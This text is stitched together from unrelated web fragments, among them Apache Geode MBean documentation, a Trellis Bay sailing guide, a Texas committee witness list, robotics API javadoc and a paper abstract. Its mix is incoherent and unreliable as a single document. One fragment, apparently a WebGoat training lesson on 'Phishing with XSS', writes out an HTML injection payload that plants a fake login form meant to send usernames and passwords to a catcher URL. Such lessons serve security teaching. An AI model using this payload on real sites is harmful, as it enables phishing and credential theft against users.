Geode uses MBeans to manage and monitor different parts of Geode. Geode’s federated MBean architecture is scalable and allows you to have a single-agent view of a Geode distributed system.
Federation of Geode MBeans and MBeanServers
Federation of the MBeanServers means that one member, the JMX Manager Node, can provide a proxied view of all the MBeans that the MBeanServer hosts. Federation also means that operations and notifications are spread across the distributed system.
Geode federation takes care of the following functionality:
- MBean proxy creation
- MBean state propagation
- Notifications propagation
- Operation invocation
MBean Proxy Naming Conventions
Each Geode MBean follows a particular naming convention for easier grouping. For example:
GemFire:type=Member,service=LockService,name=<dlsName>,memberName=<memberName>
At the JMX Manager node, this MBean will be registered with GemFire/<memberId> as domain.
The following are some sample MBean names:
MemberMBean:
GemFire:type=Member,member=<Node1>
Use of MXBeans
In its Management API, Geode provides MXBeans to ensure that any MBeans that are created are usable by any client, including remote clients, without requiring the client to access specific classes in order to access contents of the MBean.
MBean Proxy Creation
Geode proxies are inherently local MBeans. Every Geode JMX manager member hosts proxies pointing to the local MBeans of every managed node. Proxy MBeans will also emit any notification emitted by local MBeans in managed nodes when an event occurs in that managed node.
Note: Aggregate MBeans on the JMX Manager node are not proxied.
-
This topic provides descriptions for the various management and monitoring MBeans that are available in Geode.
Browsing Geode MBeans through JConsole
You can browse all the Geode MBeans in your distributed system by using JConsole.
-
Apache Geode MBeans emit notifications when specific events occur or if an alert is raised in the Geode system. Using standard JMX APIs, users can add notification handlers to listen for these events.


Most cruisers visit Beef Island to either pick someone up from the airport (literally steps from the beach), or to enjoy the laid back atmosphere in Trellis Bay with its unique Full Moon Parties and arty shops.
Entering through the narrows between Beef Island and Camanoe Island, you can identify the 2 anchorages by the "forests" of masts. To the north is Marina Cay, and to the south Trellis Bay. Keep well to the east of the yellow markers off the end of the runway and the shoal areas around Bellamy Cay. There are red and green buoys on either side of the channel into the anchorage on the east side of the bay.
It is recommended that boats with a mast height of over 50' check with BVI aviation authorities on VHF 16 before approaching Trellis Bay.
Even after a major expansion a few years ago, Tortola's Beef Island airport does not accommodate major jets. Plans are in place to extend the runway nearly all the way to Sprat Point. It will leave Bellamy Cay intact, but will close off the existing entrances into Trellis Bay. A new channel will be dredged at Sprat Point for access to Trellis Bay.
Position 18° 27'N, 064° 31'54"W (entrance to Trellis Bay)
Clearance can be carried out at the airport.
Last updated February 2016.
Trellis Bay is overcrowded with moorings, making finding an anchoring spot close to shore difficult. Most boats anchor at the bay entrance where there is space and holding is good.
Moorings are tight, leaving not a lot of privacy, and are paid for ashore at the restaurant on Bellamy Cay or at De Loose Mongoose.
Shallow draft vessels might be able to find some space in the E/SE area of the bay, although it can get hot here behind Beef Island and mosquitos can be a menace.
The beach restaurants and arty shops are many and varied. There is a small supermarket.
If leaving to go west is is possible in good light to go through the gap in the reef but most people take the sensible option of leaving the west cardinal mark to port - after this mark do not turn west too quickly as another reef runs out from the south of Little Camanoe.
Last updated February 2016.


These tools will provide scientists with insight into host-microbiome interactions. For agricultural scientists, the host-microbiome interactions are important for plant and animal health and growth, which are key factors in food productivity.
| Due | Deliverable | Description | Link |
|---|---|---|---|
| Q4 | D.1.1 | TooT-SC: Given a fasta file of protein sequences, predict the substrate class that is transported. TooT-BERT-SC: Classifies transmembrane transporter proteins by substrate using a majority-vote approach with various standard predictors. |
Link Link |
| Q4 | D.1.4 | Computational infrastructure for in silico experiments. | Link |
| Q4 | D.4.1 | Experimental infrastructure. | Link |
| Q6 | D.1.2 | TooT-Proteome: Given a fasta file of a proteome, predict the transporters and their properties. TooT-BERT-T: Predicts transmembrane transporter proteins from protein sequences using ProtBERT-BFD and logistic regression. TooT-Proteome: Predicts transmembrane transporter proteins and their substrate-specific properties using BERT-based predictors for transporter and substrate classification. |
Link Link Link |
| Q6 | D.2.1 and D.3.1 (HPC) | TooT-TC: Given a fasta file of protein sequences, predict their TC family and subfamily. | |
| Q8 | D.2.2 | TooT-All: Given a fasta file of protein sequences, classify against all transporter schemes. | |
| Q8 | D.4.2 | Experimental infrastructure - version 2. | Link (boutiques) Link (CBRAIN) Link (biolab VM) |
| Q12 | D.1.3 | TooT-BERT-ICAT: Utilizes ProtBERT-BFD to predict and classify inorganic ion-specific transmembrane transporter proteins with high precision and accuracy. TooT-SS: Given a fasta file of protein sequences, predict the specific substrate that is transported. |
Link |
| Q12 | D.2.3 | TooT-All (version 2): Given a fasta file of protein sequences, classify against all transporter schemes. | |
| Q12 | D.3.2 | TooT-Meta (= TooT-Proteome HPC): Given a fasta file of a meta-proteome, predict the transporters and their properties. |


2. NOTES ON INDIVIDUAL PIECES - 2.1 Centre Piece Figure 43: Alberto Giacometti. Man, 1929. (Read 1987: 143)


Italy: Annual GDP in Q3 grew 0.3% as expected
by Eren Sengezer- Italian economy continued to expand at a modest pace in Q3.
- EUR/USD ignored the data, continues to trade near 1.1000.
The Gross Domestic Product (GDP) in Italy expanded by 0.1% on a quarterly basis in the third quarter and came in at 0.3% on a yearly basis with both readings matching analysts' estimates and the preliminary estimates, the data published by Italy's national statistics bureau, ISTAT, showed on Friday.
The shared currency failed to capitalize on the data and the EUR/USD pair was last seen trading at 1.1002, losing 0.05% on a daily basis.


Paula Kotzé, Karen Renaud, Kostas Koukouletsos, Babak Khazaei, Andy Dearden
Indicate how HCI principles can be transferred through reference to patterns.
"This paper takes a critical look at using patterns and anti-patterns in teaching and debates the value of, and
possible pros and cons of using various forms of patterns and guidelines in teaching human-computer interaction (HCI)
concepts."
"We report a survey of examples of teaching ‘about’ (teaching certain patterns themselves) and ‘with’ (using patterns as a means to teach a wider topic) patterns and anti-patterns in both software engineering (SE) and HCI, and the success or failure thereof."
"Patterns are an approach to abstracting and capturing, for reuse, knowledge about what made a system, or paradigm,
successful. A pattern is a text that provides ‘a structured description of an invariant solution to a recurrent problem within
a context’" [attributed]
"the term anti-pattern refers to a specific piece of negative advice or an example of bad practice, without explicitly associating any
details on how to correct (refactor) the problem."
"An amelioration anti-pattern tells the reader how to go from a problem to a bad solution, but also how to get from that
bad solution to a good solution. It defines a migration (or refactoring) from negative solutions to positive solutions. It
tells you why the bad solution looks attractive, why it turns out to be bad in conjunction with the desired new outcome
or behaviour, and what positive patterns are applicable instead"
"Interaction design patterns (HCI domain): a problem is stated in the domain of human interaction issues, and the
solution is stated in terms of suggested perceivable interaction behaviour [9]. Several collections of ID patterns exist,
e.g., the Tidwell’s collection [25], Sally Fincher’s Pattern Form Gallery [12] and Van Welie’s collection [28], Sari
Laakso’s collection [19], Coram and Lee’s Experiences [7], amongst others."
Scanned


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public class Compressor extends SendableBase implements Sendable
Solenoid
object is created.
For most cases, a Compressor object does not need to be instantiated or used in a robot program.
This class is only required in cases where the robot program needs a more detailed status of the
compressor or to enable/disable closed loop control.
Note: you cannot operate the compressor directly from this class as doing so would circumvent the safety provided by using the pressure switch and closed loop control. You can only turn off closed loop control, thereby stopping the compressor from operating.
| Constructor and Description |
|---|
Compressor()
Makes a new instance of the compressor using the default PCM ID of 0.
|
Compressor(int module)
Makes a new instance of the compressor using the provided CAN device ID.
|
| Modifier and Type | Method and Description |
|---|---|
void |
clearAllPCMStickyFaults()
Clear ALL sticky faults inside PCM that Compressor is wired to.
|
boolean |
enabled()
Get the status of the compressor.
|
boolean |
getClosedLoopControl()
Gets the current operating mode of the PCM.
|
double |
getCompressorCurrent()
Get the current being used by the compressor.
|
boolean |
getCompressorCurrentTooHighFault()
If PCM is in fault state : Compressor Drive is disabled due to compressor current being too
high.
|
boolean |
getCompressorCurrentTooHighStickyFault()
If PCM sticky fault is set : Compressor is disabled due to compressor current being too
high.
|
boolean |
getCompressorNotConnectedFault()
If PCM is in fault state : Compressor does not appear to be wired, i.e.
|
boolean |
getCompressorNotConnectedStickyFault()
If PCM sticky fault is set : Compressor does not appear to be wired, i.e.
|
boolean |
getCompressorShortedFault()
If PCM is in fault state : Compressor output appears to be shorted.
|
boolean |
getCompressorShortedStickyFault()
If PCM sticky fault is set : Compressor output appears to be shorted.
|
boolean |
getPressureSwitchValue()
Get the pressure switch value.
|
void |
initSendable(SendableBuilder builder)
Initializes this
Sendable object. |
void |
setClosedLoopControl(boolean on)
Set the PCM in closed loop control mode.
|
void |
start()
Start the compressor running in closed loop control mode.
|
void |
stop()
Stop the compressor from running in closed loop control mode.
|
addChild, free, getName, getSubsystem, setName, setName, setName, setSubsystem
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait
getName, getSubsystem, setName, setName, setSubsystem
public Compressor(int module)
module
- The PCM CAN device ID (0 - 62 inclusive)public Compressor()
Additional modules can be supported by making a new instance and specifying the CAN ID.
public void start()
Use the method in cases where you would like to manually stop and start the compressor for applications such as conserving battery or making sure that the compressor motor doesn't start during critical operations.
public void stop()
Use the method in cases where you would like to manually stop and start the compressor for applications such as conserving battery or making sure that the compressor motor doesn't start during critical operations.
public boolean enabled()
public boolean getPressureSwitchValue()
public double getCompressorCurrent()
public void setClosedLoopControl(boolean on)
on
- if true sets the compressor to be in closed loop control mode (default)public boolean getClosedLoopControl()
public boolean getCompressorCurrentTooHighFault()
public boolean getCompressorCurrentTooHighStickyFault()
public boolean getCompressorShortedStickyFault()
public boolean getCompressorShortedFault()
public boolean getCompressorNotConnectedStickyFault()
public boolean getCompressorNotConnectedFault()
public void clearAllPCMStickyFaults()
If a sticky fault is set, then it will be persistently cleared. The compressor might momentarily disable while the flags are being cleared. Doo not call this method too frequently, otherwise normal compressor functionality may be prevented.
If no sticky faults are set then this call will have no effect.
public void initSendable(SendableBuilder builder)
Sendable
Sendable
object.initSendable
in interface Sendable
builder
- sendable builder


Editing Private Memo Entries
This dialog is for editing private comments within the file list; these will be invisible in the users' file list, but can be used as memos for yourself or between you and other moderators of your forum.


--- description: 'A page for logged in customers to change their password.' action: 'shop:customerProfile' template: main protocol: all published: true name: Change password url: /account/change-password --- {{ partial('partial-banner-alt', { banner: { title: 'Change password' }}) }}


WITNESS LIST State Affairs Committee May 5, 2005 -11:00A HB 7 FOR: Zamrazil, Kristie (Texas Pharmacy Association), Austin, TX AGAINST: Bicklein, Royce (Law Offices of Miller & Bicklein, P.C.), Odessa, TX Clark, Larry S. (Self), The Woodlands, TX Herrman, David (Texas Injured Workers Advocacy Group), Dallas, TX Hogan, Frankie (Residents of Texas), Euless, TX Wiles, Dixon (Texas Injured Workers Advocacy Group), Dallas, TX ON: Ballestas, Selen (Self), Houston, TX Griswold, Karen (Self), Conroe, TX Hamm, Debora (Self), Houston, TX Klein, Franz Dr. (Texas Chiropractic Association), Seabrook, TX Lackey, Brenda Kenner (Self), Spring, TX Martin, Pamela (Myself as an injured worker), Montgomery, TX Munoz, Edwin D. (All injured workers and myself), Houston, TX Registering, but not testifying: For: Chick, Craig (Texas Association of Realtors), Austin, TX Phillips, Shannon (Association of Fire and Casualty Insurers of TX (AFACI)), Austin, TX Welsh, Dinah (Texas Hospital Association), Austin, TX Wohlgemuth, Cristen (Texas Pharmacy Association, Academy of Independent Pharmacists), Austin, TX On: Shipe, Bob (Texas Workers Compensation Commission), Austin, TX HB 350 ON: Sorrells, Tim (Texas Ethics Commission), Austin, TX Registering, but not testifying: For: Lewis, Fred (Campaigns for People), Austin, TX HB 417 Registering, but not testifying: For: Homer, Andrew (Texas Public Employees Association), Austin, TX Markovsky, Walt (ASI Tricare Supplement/Amercian Benefits Services), Holly Springs, TX On: Nail, William S. (ERS), Austin, TX HB 654 FOR: Orr, Fred (Christus Clinic), Dallas, TX HB 655 FOR: Orr, Fred (Christis Clinic), Dallas, TX SB 555 Registering, but not testifying: For: Dahler, Erik (Bexar County Hospital District), San Antonio, TX Hillier, King (Harris County Hospital District), Houston, TX Ingram, Michelle (Bexar County Hospital District), San Antonio, TX Roy, Tom E. (JPS Health Network), Fort Worth, TX Wall, Matt (Texas Hospital Association), Austin, TX On: Bednar, Cindy (Department of State Health Services), Elgin, TX SB 751 ON: Blalock, Michael G. (Adjuctant General's Department), Austin, TX Nail, William S. (ERS), Austin, TX SB 1094 ON: Homer, Andrew (Texas Public Employees Association), Austin, TX SB 1401 FOR: Harvey, Jay (Texas Trial Lawyers Association), Austin, TX Registering, but not testifying: Against: Brooders, Compton (Self), Dallas, TX Coles, Jim (Texas College of Emergency Physicians), Austin, TX Cox, James S. MD (Self), Fort Worth, TX Finley, Randall (Christus Health), Houston, TX Geesbreght, Alex (Texas Medicine Resources, LLP), Ft. Worth, TX Geesbreght, John M. MD (Emergency Department Physicians), Ft. Worth, TX Hull, Mike (Texas Alliance for Patient Access), Austin, TX Mosteow, Bruce Dr. (Texas College of Emergency Physicians), Austin, TX Opett, Jon (Texas Alliance for Patient Access), Austin, TX Roberts, Sam Dr. (Texas College of Emergency Physicians), Austin, TX Wall, Matt (Texas Hospital Association), Austin, TX Weltge, Arlo MD (Self), Houston, TX


| To | Type |
| Insert the open file's name or "(untitled)" if the file has no name. | &f |
| Insert the date. | &d |
| Insert the time specified by your computer's clock. | &t |
| Insert page numbers. | &p |
| Insert an ampersand (&). | && |
| Align the header or footer to the left, center, or right. | &l, &c, or &r |


--- layout: post title: no title date: '2009-02-15T16:40:35+00:00' tags: [] tumblr_url: http://backlog.robbevan.com/post/78543640/magazine-live-at-the-forum-london-13-february ---
Magazine : Live at The Forum London : 13 February 2009


Lesson Plan Title: Phishing with XSS
Concept / Topic To Teach:
It is always a good practice to validate all input on the
server side. XSS can occur when unvalidated user input is used
in an HTTP response. With the help of XSS you can do a Phishing
Attack and add content to a page which looks official. It is very
hard for a victim to determinate that the content is malicious.
General Goal(s):
The user should be able to add a form asking for username
and password. On submit the input should be sent to
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName
</form><form name="phish">

This feature requires account login:

Enter Username:
<input type="text" name="user">
Enter Password:
<input type="password"
name = "pass">
</form>

Search for this term and you will see that a form is added to the page since the search field accepts HTML.
The initial </form> tag is to terminate the original search form.

This script will read the input from the form and send it to the catcher of WebGoat.
The text in blue should match what is in your address bar. If you are using ports and/or webscarab, it may be different.
The last step is to put things together. Add a Button to the form which
calls the script. You can reach this with the onclick="myFunction()" handler:
<input type="submit" name="login" value="login" onclick="hack()">
The final String looks like this:
</form><form name="phish">

This feature requires account login:

Enter Username:
<input type="text" name="user">
Enter Password:
<input type="password"
name = "pass">
<input type="submit" name="login" value="login" onclick="hack()"></form>


emnlp emnlp2011 emnlp2011-43 emnlp2011-43-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Jianxing Yu ; Zheng-Jun Zha ; Meng Wang ; Kai Wang ; Tat-Seng Chua
Abstract: This paper presents a domain-assisted approach to organize various aspects of a product into a hierarchy by integrating domain knowledge (e.g., the product specifications), as well as consumer reviews. Based on the derived hierarchy, we generate a hierarchical organization of consumer reviews on various product aspects and aggregate consumer opinions on these aspects. With such organization, user can easily grasp the overview of consumer reviews. Furthermore, we apply the hierarchy to the task of implicit aspect identification which aims to infer implicit aspects of the reviews that do not explicitly express those aspects but actually comment on them. The experimental results on 11popular products in four domains demonstrate the effectiveness of our approach.